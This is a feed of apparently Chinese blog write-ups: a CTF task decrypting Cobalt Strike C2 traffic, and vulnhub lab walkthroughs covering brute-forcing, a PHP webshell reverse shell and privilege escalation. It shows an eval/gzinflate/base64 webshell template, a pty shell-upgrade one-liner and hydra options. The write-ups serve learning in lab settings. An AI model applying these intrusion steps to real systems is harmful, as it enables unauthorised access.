<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>月面基地</title><description>No description</description><link>https://www.dxowo8.top/</link><language>zh_CN</language><item><title>2021-绿城杯-misc流量分析题过程记录</title><link>https://www.dxowo8.top/posts/post-32/32/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-32/32/</guid><description>2021-绿城杯-misc流量分析题过程记录</description><pubDate>Wed, 20 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;2021-绿城杯-misc流量分析题过程记录&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本文为2021-绿城杯-misc解题记录，用于个人学习总结和原理分享，参考文章链接、工具链接等见文末。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;获取flag流程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;题目附件给了一个pcapng的流量包，复制到wireshark中打开，先看看http包（可在顶部过滤），如图有一些包传输内容比较可疑，右键该包追踪流，看到如下格式数据，经过搜索发现是CVE-2021-3129 漏洞攻击特征。
&lt;img src=&quot;https://www.dxowo8.top/_astro/1.BDxSzdYe_Z1vdc9C.webp&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/2.qvsVS1eS_Z1nTPgO.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;复制下来处理掉头部的一串A和&lt;code&gt;=00&lt;/code&gt;后，通过base64解码即可获得数据内容，如图是一个小马，通过密码14433连接。
&lt;img src=&quot;https://www.dxowo8.top/_astro/3.RIHipgZN_Zmdr1f.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;接下来可以尝试的思路如，寻找有14433的字符串的包，过滤到一些，比如下面这个数据段有PK开头的一段数据，是zip文件的格式（zip文件头两个字节为50 4B或者ASCII的PK）。
&lt;img src=&quot;https://www.dxowo8.top/_astro/4.B2GiHoYC_Zm5nbA.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;以及其它含有14433的包中，我们通过应答包看到了上传的secret.zip，故可以通过选择以原始数据呈现复制十六进制数据，用在线工具转为zip保存到本地。
&lt;img src=&quot;https://www.dxowo8.top/_astro/5.DE_1kEoe_Zac9F4.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;在以下这个包中，看到了解压secret.zip的操作，于是尝试对数据段进行解密，根据前面对小马的内容解密，暴露了加密方式如下代码块，为base64外嵌套gzinflate压缩，可通过文末链接四给出的参考网站中的代码进行解密，这里写了一个decode_model.php，将加密内容填入变量运行进行解密。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
eval(gzinflate(base64_decode(&apos;加密部分&apos;)));
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/6.DqCwWCok_2pcdOt.webp&quot; alt=&quot;&quot; /&gt;
6. 在解密上一步解压secret.zip操作的数据包的如图所选变量数据后，获得很长一片代码，是一个功能更齐全的大马，具体代码这里不放了，由于这一步执行了解压缩，必然传入解压缩指令和压缩包密码，故仅展示关键部分用于提取压缩包密码。
&lt;img src=&quot;https://www.dxowo8.top/_astro/7.H--DZHHp_ZPQAnn.webp&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/8.Bg4yPQoN_2qd2OP.webp&quot; alt=&quot;&quot; /&gt;
7. 这里的变量s用于接收执行的命令，根据大马代码逻辑，从数据段提取该部分数据去掉前两个字符用base64解密即获得密码（这里不再需要使用&lt;code&gt;gzinflate(base64_decode(&apos;&apos;))&lt;/code&gt;解密，仅14433的传入值需要通过脚本解密，其它变量是并列关系），使用密码解压缩secret.zip，获得文件&lt;code&gt;.cobaltstrike.beacon_keys&lt;/code&gt;。
&lt;img src=&quot;https://www.dxowo8.top/_astro/9.DC0nau1V_RY5Hq.webp&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/10.Ca53xSXL_115GTm.webp&quot; alt=&quot;&quot; /&gt;
8. 使用文末给出的&lt;code&gt;cs-scripts&lt;/code&gt;，将克隆下来的脚本所咋目录下&lt;code&gt;.cobaltstrike.beacon_keys&lt;/code&gt;替换为解压获得的密钥文件，获得公私钥（实际仅需要保存私钥）。
&lt;img src=&quot;https://www.dxowo8.top/_astro/11.BJ6LTAyZ_O0Stn.webp&quot; alt=&quot;&quot; /&gt;
9. 对CS_Decrypt适当修改参考了文章中的修改方法（文末引用的第一个链接），并在kali虚拟机的虚拟环境中运行python程序，解决了运行报错问题。
&lt;img src=&quot;https://www.dxowo8.top/_astro/link.zietKYnZ_Z21HFPm.webp&quot; alt=&quot;&quot; /&gt;
10. 将RSA私钥粘贴至Beacon_metadata_RSA_Decrypt.py指定位置，还需要填写的是encode_data变量，作为待解密内容，解密cookie值获得元数据。
&lt;img src=&quot;https://www.dxowo8.top/_astro/12.DowMKCcD_1J491v.webp&quot; alt=&quot;&quot; /&gt;
11. 继续搜寻，通过如图对GET请求和存在cookie的过滤，找到一些心跳包，随便复制一个cookie填入解密，在该目录执行如下命令，获取了AES key和HMAC key。
&lt;img src=&quot;https://www.dxowo8.top/_astro/13._hAzSvh0_Zr4qBJ.webp&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/14.C_ad8dI0_Z2n5Mu9.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 -m venv venv ##创建虚拟环境
source venv/bin/activate ##激活虚拟环境
pip install M2Crypto ##所需模块
pip install hexdump  ##所需模块
python Beacon_metadata_RSA_Decrypt.py ##执行解密
deactivate #退出虚拟环境
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;继续观察http通信，在跟踪心跳包过程中发现了目标文件为/submit.php?id=xxx的post请求，经过确认为beacon任务返回数据，复制加密内容为hex格式，去转base64。
&lt;img src=&quot;https://www.dxowo8.top/_astro/15.B8NwsFEJ_1E0tFE.webp&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/16.BL0cN1T__Z1iaSzU.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;将转为base64的内容复制到Beacon_Task_return_AES_Decrypt.py并于虚拟环境中运行（若为linux系统，且可能出现No module named &apos;Crypto&apos;需要通过pip install pycryptodome安装）
&lt;img src=&quot;https://www.dxowo8.top/_astro/17.BIj9N-AA_ZMF5a3.webp&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/18.Dz3qYThm_1IEhgB.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;按submit.php作为字符串，找其它beacon任务返回数据，依次解密最后获得flag。
&lt;img src=&quot;https://www.dxowo8.top/_astro/19.0F75NAPk_ZdC3kK.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;其它补充与收获总结&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;C2服务端与beacon通信使用了RSA非对称加密，在&lt;code&gt;.cobaltstrike.beacon_keys&lt;/code&gt;中存储一个序列化对象，包含一对RSA公私钥，通信中会向一些伪装地址发起正常流量请求作为心跳包（如本题的/en_US/all.js），并将元数据用RSA公钥加密发给C2服务器，常被Base64编码作为cookie发送。
&lt;img src=&quot;https://www.dxowo8.top/_astro/key.DoltnOVO_Z1vTgRG.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;许多linux发行版上无法使用pip全局安装模块，在python&amp;gt;=3.3版本内置了venv，可以有效避免污染，将不同项目隔离不影响其他项目，除去本文提到的使用方法，详细介绍可见&lt;a href=&quot;https://www.runoob.com/python3/python-venv.html&quot;&gt;&apos;https://www.runoob.com/python3/python-venv.html&apos;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;参考文章和工具链接&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;解密Cobalt Strike流量方法和工具选用参考了&lt;a href=&quot;&apos;https://pepster.me/2021-%E7%BB%BF%E5%9F%8E%E6%9D%AF-misc/&apos;&quot;&gt;https://pepster.me/2021-%E7%BB%BF%E5%9F%8E%E6%9D%AF-misc/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;部分思路也参考了&lt;a href=&quot;https://blog.csdn.net/qq_43264813/article/details/120560209&quot;&gt;&apos;https://blog.csdn.net/qq_43264813/article/details/120560209&apos;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;用到的工具：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;从&lt;code&gt;.cobaltstrike.beacon_keys&lt;/code&gt;中获取存储了CS通信时用来加密的RSA公私钥：&lt;a href=&quot;https://github.com/Slzdude/cs-scripts&quot;&gt;&apos;https://github.com/Slzdude/cs-scripts&apos;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;解密AES key和HMAC key以及解密任务完成返回数据：&lt;a href=&quot;https://github.com/WBGlIl/CS_Decrypt&quot;&gt;&apos;https://github.com/WBGlIl/CS_Decrypt&apos;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;前半段eval gzinflate base64_decode解密方法参考：&lt;a href=&quot;https://blog.csdn.net/nzjdsds/article/details/90109595&quot;&gt;&apos;https://blog.csdn.net/nzjdsds/article/details/90109595&apos;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>vulnhub靶机-PowerGrid（认证爆破+pgp解密+docker提权）</title><link>https://www.dxowo8.top/posts/post-31/31/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-31/31/</guid><description>记录PowerGrid靶机渗透过程和思路</description><pubDate>Sat, 16 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;vulnhub靶机-PowerGrid（认证爆破+pgp解密+docker提权）&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本文为个人跟随b站up主红队笔记学习vulnhub的PowerGrid靶机的复现通关记录，旨在分享靶机和记录学习心得体会，讲解若有谬误之处欢迎指正。&lt;/li&gt;
&lt;li&gt;该靶机下载地址为&lt;a href=&quot;https://vulnhub.com/entry/powergrid-101,485/&quot;&gt;&apos;https://vulnhub.com/entry/powergrid-101,485/&apos;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;前期渗透记录&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在vmware部署靶机并开机后，打开kali对靶机进行信息收集，找到80,143,993端口开放，观察下详细扫描和漏扫结果，143和993是imap和imaps服务端口（注意：该扫描方式更适合渗透测试使用，如红队则需定制参数达成更隐蔽的扫描方式）。
&lt;img src=&quot;https://www.dxowo8.top/_astro/1.BOnLZ_3w_1BrkGo.webp&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/2.Ce08bK7z_Z1b5I3s.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;观察web主页是一个黑客组织劫持欧洲电网的勒索页面，给出了三小时时限（由于是下载的靶机可以通过重新导入虚拟机来解决时限问题），之后目录爆破找到/zmail路径，访问该路径需要用户名密码认证。
&lt;img src=&quot;https://www.dxowo8.top/_astro/3.BBRjGax6_2kOLAw.webp&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/4.CdJI4ddR_ZPN87d.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;制作用户名密码字典，收集页面中的词语（也可用上篇文章的cewl工具等来收集），手工列出一些词。
&lt;img src=&quot;https://www.dxowo8.top/_astro/5.0k6dK3Mz_yd5ob.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;hashcat内置一些字典生成规则，连接到当前目录，之后用&lt;code&gt;--stdout&lt;/code&gt;参数，配合规则生成字典，不实际破解哈希。
&lt;img src=&quot;https://www.dxowo8.top/_astro/6.CYHmZvus_1s3olw.webp&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/7.CBElOg6k_Z20REqX.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;由于字典破解概率并不足够高可以尝试基于rockyou这种大字典筛选部分补充。
&lt;img src=&quot;https://www.dxowo8.top/_astro/8.N6IjDdoE_efQXt.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;用hydra对验证进行爆破，对于-e参数指定，n表示尝试空密码，s表示尝试与用户名相同的密码，r表示尝试用户名反转后的密码，&lt;code&gt;-w 1&lt;/code&gt;表示低负载，破解出一组凭证——&lt;code&gt;p48:electrico&lt;/code&gt;。
&lt;img src=&quot;https://www.dxowo8.top/_astro/9.Buj6ByLZ_Z1vLL9E.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;用凭证成功登入该页面。
&lt;img src=&quot;https://www.dxowo8.top/_astro/10.CUADt_My_1voy7C.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;提取认证信息，尝试对zmail目录爆破，来获取泄露信息比如版本信息，如下图重新指定gobuster进行爆破/zmail下目录。
&lt;img src=&quot;https://www.dxowo8.top/_astro/11.D6xjMyft_TGs3q.webp&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/12.Cw9LBnEs_Z2fxsrr.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;在爆破出的/CHANGELOG获得了版本信息，通过searchsploit查找该版本漏洞，并下载漏洞介绍文件。
&lt;img src=&quot;https://www.dxowo8.top/_astro/13.DIFYQQPh_1C7Puf.webp&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/14.BYCYL8ZT_23f4mA.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;简单用ai翻译并总结一下，并确保其利用方法格式未被ai总结过程中修改。
&lt;img src=&quot;https://www.dxowo8.top/_astro/15.Cma1Y5Hg_l442I.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;继续尝试用刚才的用户名密码，登进来有邮件，自动翻译了下。
&lt;img src=&quot;https://www.dxowo8.top/_astro/16.DBCbIORE_1bOF7R.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;根据利用方式，在subject栏内可以插入恶意php代码，通过代理抓包修改&amp;amp;_from字段为指定格式并url编码发送后可以成功保存为php文件。
&lt;img src=&quot;https://www.dxowo8.top/_astro/17.CKQyD6yf_1XHDyt.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;实际操作中发现单层对特殊字符url编码可能遭到拦截，进行二次编码再次访问网站根目录的php文件，得到了反弹shell。（记得将kali提前打开监听）
&lt;img src=&quot;https://www.dxowo8.top/_astro/18.CgpQ6Sov_Z2a6hw1.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;拿下初始立足点&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在探测中发现了p48拥有/bin/bash环境，于是尝试一下用密码切换用户，果然可以切换成功。
&lt;img src=&quot;https://www.dxowo8.top/_astro/19._61aMG8Q_Z2gTtsE.webp&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/20.2pl6Abmd_17CLDO.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;在用户目录下发现gpg文件，这是使用GPG（GNU Privacy Guard）加密后的文件，是通过非对称加密技术生成的加密文件。
&lt;img src=&quot;https://www.dxowo8.top/_astro/21.C6bbv3aX_YXYP.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;对于此，kali中备有gpg工具，&lt;code&gt;gpg --import xx.gpg&lt;/code&gt;可用于导入GPG密钥到本地密钥环中，下图需要的密码，可以猜想是p48用户的密码，输入后验证成功。
&lt;img src=&quot;https://www.dxowo8.top/_astro/22.BVFNep0j_29dxsI.webp&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/23.Ct8uZlsB_BmJsm.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;用刚刚导入的私钥解密该文件并输出解密内容。（这个文件由自己创建并导入收到邮件内的加密内容）
&lt;img src=&quot;https://www.dxowo8.top/_astro/24.D5_aQBFx_Zye8rv.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;我们在探测中发现了运行的docker中的容器，并用ping来大致探测存活性，目前容易发现的只有172.17.0.1和172.17.0.2存活。
&lt;img src=&quot;https://www.dxowo8.top/_astro/25.Bmz-Mbos_1vPOIz.webp&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/26.C8WtLPjU_Z2rYwr5.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;将前面解密出的内容（SSH的私钥）保存为文件，由于交互性不好可以参考如下方式输入并粘贴，末尾输入EOF结束（这里有可能需要敲一个回车再输入EOF），检查私钥文件格式是否正确，如有问题重新修改至格式正确。
&lt;img src=&quot;https://www.dxowo8.top/_astro/27.ZnLWh4xl_Z19thEO.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;通过私钥文件连接容器，成功连接172.17.0.2。
&lt;img src=&quot;https://www.dxowo8.top/_astro/28.zrGjmSgX_1EOnW8.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;容器内提权过程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在容器内探测，通过&lt;code&gt;sudo -l&lt;/code&gt;发现特权，去GTFOBINS查找提权方式，并直接复制利用，拿到root在容器内权限。
&lt;img src=&quot;https://www.dxowo8.top/_astro/29.Cq3YfgWt_ZaJcK4.webp&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/30.CFXc1xPf_Z1KGq2L.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;通过ssh使用root登回主机，正式获得root权限。
&lt;img src=&quot;https://www.dxowo8.top/_astro/31.Do0m4ncl_1Fhz8T.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;根据提示，最后一步将计时相关的这个txt文件删除掉算结束，该文件被加上不可改变属性，查看验证确实如此，用给出的命令清除掉后删除，该靶机正式结束（中间有四个flag也可以收集，体验更为完整）。
&lt;img src=&quot;https://www.dxowo8.top/_astro/32.BBRuMqDQ_Z1IQRpk.webp&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/33.C4unUrUn_1caIBw.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;其它补充与收获总结&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;切换p48用户的时候，su命令需要一个真正的交互式终端（TTY），而通过webshell执行命令时，其不是完整TTY，只是一个管道连接，所以应当提前通过如&lt;code&gt;python -c &apos;import pty;pty.spawn(&quot;/bin/bash&quot;)&apos;&lt;/code&gt;来提高shell的交互性后再切换，其它受影响的还有sudo、ssh或者nano、vi、vim一些需要交互的命令等。&lt;/li&gt;
&lt;li&gt;文件不可变属性：使用&lt;code&gt;chattr +i 文件名&lt;/code&gt; 可将文件设置为不可变，原理是修改文件的扩展属性，使内核禁止对其进行修改操作，常用于防止误删或篡改等操作，相关命令为&lt;code&gt;lsattr 文件名&lt;/code&gt;，可查看文件不可变属性。&lt;/li&gt;
&lt;li&gt;PGP和GPG的区别及使用：PGP和GPG都用于加密和签名，核心区别在于一个是商业软件，一个是开源实现，GPG是PGP的开源升级版本，支持更多加密算法且完全免费。对于gpg工具，文中提到涉及gpg密钥管理(也包括内容的加密解密)，其它功能如生成密钥、签名等具体使用方式可参考&lt;a href=&quot;https://blog.csdn.net/willingtolove/article/details/122362705&quot;&gt;&apos;https://blog.csdn.net/willingtolove/article/details/122362705&apos;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>vulnhub靶机-Momentum:1（CryptoJS的AES解密+Redis信息泄露提权）</title><link>https://www.dxowo8.top/posts/post-30/30/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-30/30/</guid><description>记录Momentum:1靶机渗透过程和思路</description><pubDate>Wed, 13 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;vulnhub靶机-Momentum:1（CryptoJS的AES解密+Redis信息泄露提权）&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本文为个人跟随b站up主红队笔记学习vulnhub的Momentum:1靶机的复现通关记录，旨在分享靶机和记录学习心得体会，讲解若有谬误之处欢迎指正。&lt;/li&gt;
&lt;li&gt;该靶机下载地址为&lt;a href=&quot;https://www.vulnhub.com/entry/momentum-1,685/&quot;&gt;&apos;https://www.vulnhub.com/entry/momentum-1,685/&apos;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;渗透流程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在vmware部署靶机并开机后，打开kali对靶机进行信息收集，找到22,80端口开放，详细扫描观察下apache，系统版本等。
&lt;img src=&quot;https://www.dxowo8.top/_astro/1.CbfZH3qr_ZFuOHM.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;观察网页，有几个图片下载下来看看有没有隐写，通过binwalk，strings，exiftools等检查没有发现隐写。
&lt;img src=&quot;https://www.dxowo8.top/_astro/2.LlzIiF-M_Zs1m9W.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;尝试深度爆破，指定多参数，--db是工具对备份文件的自动查找参数。
&lt;img src=&quot;https://www.dxowo8.top/_astro/3.CM833aT6_2ccljc.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;在js文件中发现一个注释的代码，捕捉关键信息发现是一个cryptojs组件的AES加解密功能，以及提供的一个值，可能是使用的key，以及上面的一个路径&lt;code&gt;opus-details.php?id=&lt;/code&gt;。
&lt;img src=&quot;https://www.dxowo8.top/_astro/4.D8mVsUst_Z15wxyD.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;直接拼接路径，没有显示出有效内容，但在主页源代码中探索考虑到图片存在值可能可以作为id传入，果然可以，不过并没有展示出什么信息。
&lt;img src=&quot;https://www.dxowo8.top/_astro/5.CXCqMhVg_23v1xw.webp&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/6.BUgVH7iP_Z13BFAm.webp&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/7.BZL7o-Qj_1OhPlR.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;如果注意到访问此处的网络请求，会发现存在cookie的，看着有点像base64,解密发现开头有个salted，说明这不是纯文本，而是一个经过加密的二进制数据，并且使用了OpenSSL兼容的加密格式，这是OpenSSL等工具在使用对称加密时添加的特征头部。
&lt;img src=&quot;https://www.dxowo8.top/_astro/8.BskzzdSc_Z1DBq9o.webp&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/9.B7089f_s_ZV1W5A.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;于是去搜索一下，根据之前从main.js中获得的信息，找到有cryptojs的aes解密工具网站，其给出解密结果auxerre-alienum##，再或者下面本地手动解密也可以。
&lt;img src=&quot;https://www.dxowo8.top/_astro/10.B5AHzVZK_ZDDdV0.webp&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/11.BPWAg-Bs_wmJYO.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;使用工具cewl（一个自定义词表生成器）对服务器进行爬取，自主筛查去掉一些类似&lt;code&gt;js、css&lt;/code&gt;这些应该不会作为用户名和密码的词，加上前面破解出的字符串及变体，网页中图片的词等等。
&lt;img src=&quot;https://www.dxowo8.top/_astro/12.8Fl2uRBQ_2iSyBC.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;使用hydra进行爆破，用生成的字典尝试连接，等待一阵破解后获得了正确的用户名与连接密码。
&lt;img src=&quot;https://www.dxowo8.top/_astro/13.BvtYvb0F_Z2srdzW.webp&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/14.DR50lETR_1TMh59.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;ssh连接，获得初步立足点。
&lt;img src=&quot;https://www.dxowo8.top/_astro/15.BOiTE6Px_Z1RX8E4.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;提权过程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;简单收集环境，包括sudo权限，是否组内，计划任务，可写、可执行文件等，最后在查看网络状态发现了6379端口开放但是没有扫描到，这是Redis数据库的默认通信端口，用于客户端与Redis服务器之间进行数据交互，使用redis-cli进行交互，并通过指令查看到了一个凭据，通过su和密码成功切换到root且拿到flag。
&lt;img src=&quot;https://www.dxowo8.top/_astro/16.ChNuscP1_1a9EmE.webp&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/17.C-p7zpzs_Z1WVOLP.webp&quot; alt=&quot;rooted&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;其它补充与收获总结&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Redis（Remote Dictionary Server）是一个开源的内存数据库，遵守BSD协议，它提供了一个高性能的键值（key-value）存储系统，常用于缓存、消息队列、会话存储等应用场景。以上介绍参考&lt;a href=&quot;https://blog.csdn.net/2402_87298751/article/details/146474921&quot;&gt;&apos;https://blog.csdn.net/2402_87298751/article/details/146474921&apos;&lt;/a&gt;，以及redis-cli常用指令可参考&lt;a href=&quot;https://juejin.cn/post/7405260565680144393&quot;&gt;&apos;https://juejin.cn/post/7405260565680144393&apos;&lt;/a&gt;，这里不一一列举命令。&lt;/li&gt;
&lt;li&gt;CryptoJS是一个Javascript加密库，常用于在前后端之间进行加密解密操作，如用户登录时，对密码进行加密后传输，因此推测该靶机由于泄露了加密的key，因此可对cookie进行解密获得用户凭证。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>vulnhub靶机-Empire:Breakout（Web应用历史漏洞+rpc用户枚举+Capabilities能力权限识别利用）</title><link>https://www.dxowo8.top/posts/post-29/29/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-29/29/</guid><description>记录Empire:Breakout靶机渗透过程和思路</description><pubDate>Sun, 10 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;vulnhub靶机-Empire:Breakout（Web应用历史漏洞+rpc用户枚举+Capabilities能力权限识别利用）&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本文为个人跟随b站up主红队笔记学习vulnhub的breakout靶机的复现通关记录，旨在分享靶机和记录学习心得体会，讲解若有谬误之处欢迎指正。&lt;/li&gt;
&lt;li&gt;该靶机下载地址为&lt;a href=&quot;https://www.vulnhub.com/entry/empire-breakout,751/&quot;&gt;&apos;https://www.vulnhub.com/entry/empire-breakout,751/&apos;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;本博客封面的猫猫在睡觉，没有死掉。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;渗透流程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在vmware部署靶机并开机后，打开kali对靶机进行信息收集，找到80、139、445、10000、20000端口开放。
&lt;img src=&quot;https://www.dxowo8.top/_astro/1.DzeDtvFV_vSt9D.webp&quot; alt=&quot;IP&amp;amp;details&amp;amp;ports&quot; /&gt;&lt;/li&gt;
&lt;li&gt;详细扫描，139、445是samba服务，10000、20000是miniserv，是Webmin的核心组件之一。
&lt;img src=&quot;https://www.dxowo8.top/_astro/2.BZTly8xJ_2mKXrj.webp&quot; alt=&quot;scripts&quot; /&gt;&lt;/li&gt;
&lt;li&gt;在漏扫中，发现一个cve2006-3392漏洞。
&lt;img src=&quot;https://www.dxowo8.top/_astro/3.BkBc6wH2_TJl7u.webp&quot; alt=&quot;vuln&quot; /&gt;&lt;/li&gt;
&lt;li&gt;搜索漏洞并下载利用脚本。
&lt;img src=&quot;https://www.dxowo8.top/_astro/4.C0nphNEr_Zapohs.webp&quot; alt=&quot;ss&quot; /&gt;&lt;/li&gt;
&lt;li&gt;按照example给出的示例，执行攻击，第一次返回显示需要通过https，修改后执行依旧不行。
&lt;img src=&quot;https://www.dxowo8.top/_astro/5.D25MVzBq_Z1pso5x.webp&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/6.C-0kd7l9_Z15ql64.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;在80端口源代码最下面找到了段brainfuck语言。
&lt;img src=&quot;https://www.dxowo8.top/_astro/7.DZ_pa2yA_2tcPOb.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
